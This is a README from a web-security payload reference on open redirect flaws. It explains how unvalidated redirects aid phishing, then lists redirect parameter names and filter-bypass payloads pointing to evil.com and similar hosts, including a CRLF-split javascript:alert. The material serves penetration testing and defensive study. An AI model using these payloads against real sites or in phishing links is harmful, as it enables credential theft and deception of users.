Open Redirect/README.md
Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.
An open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing.
Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.
Example: A web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so:
https://example.com/redirect?url=https://userpreferredsite.com
An attacker could exploit an open redirect here by replacing the userpreferredsite.com with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website.
HTTP Redirection status codes, those starting with 3, indicate that the client must take additional action to complete the request. Here are some of the most common ones:
Instead of query parameters, redirection logic may rely on the path:
https://example.com/redirect/http://malicious.comhttps://example.com/redirect/../http://malicious.comIf the application uses JavaScript for redirects, attackers may manipulate script variables:
Example:
var redirectTo = "http://trusted.com";
window.location = redirectTo;
Payload: ?redirectTo=http://malicious.com
?checkout_url={payload}
?continue={payload}
?dest={payload}
?destination={payload}
?go={payload}
?image_url={payload}
?next={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
?return_path={payload}
?return_to={payload}
?return={payload}
?returnTo={payload}
?rurl={payload}
?target={payload}
?url={payload}
?view={payload}
/{payload}
/redirect/{payload}
Using a whitelisted domain or keyword
www.whitelisted.com.evil.com redirect to evil.com
Using CRLF to bypass "javascript" blacklisted keyword
java%0d%0ascript%0d%0a:alert(0)
Using "//" and "////" to bypass "http" blacklisted keyword
//google.com
////google.com
Using "https:" to bypass "//" blacklisted keyword
https:google.com
Using "\/\/" to bypass "//" blacklisted keyword
\/\/google.com/
/\/google.com/
Using "%E3%80%82" to bypass "." blacklisted character
/?redir=google。com
//google%E3%80%82com
Using null byte "%00" to bypass blacklist filter
//google%00.com
Using HTTP Parameter Pollution
?next=whitelisted.com&next=google.com
Using "@" character. Common Internet Scheme Syntax
//<user>:<password>@<host>:<port>/<url-path>
http://[email protected]/
Creating folder as their domain
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
Using "?" character, browser will translate it to "/?"
http://www.yoursite.com?http://www.theirsite.com/
http://www.yoursite.com?folder/www.folder.com
Host/Split Unicode Normalization
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com/X.b.com